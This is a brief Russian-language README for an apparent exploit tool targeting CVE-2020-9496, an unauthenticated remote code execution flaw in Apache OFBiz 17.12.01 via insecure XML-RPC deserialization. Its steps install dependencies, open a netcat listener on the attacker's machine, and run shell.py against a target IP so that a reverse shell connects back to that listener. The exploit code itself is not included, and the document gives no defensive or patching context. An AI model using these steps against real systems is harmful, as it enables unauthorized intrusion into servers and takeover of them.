CVE-2020-9496

ApacheOfBiz 17.12.01 - Неавторизованное удалённое выполнение кода

XML-RPC запросы уязвимы для небезопасной десериализации.

Шаги

Шаг 1:

pip3 install -r requeriments.txt

Шаг 2:

nc -nlvp <port> # атакующий компьютер

Шаг 3:

python3 shell.py -i <remote IP> -p <remote port> -li <local IP> -lp <local port>

Шаг 4:

У вас должна быть оболочка в вашем nc-слушателе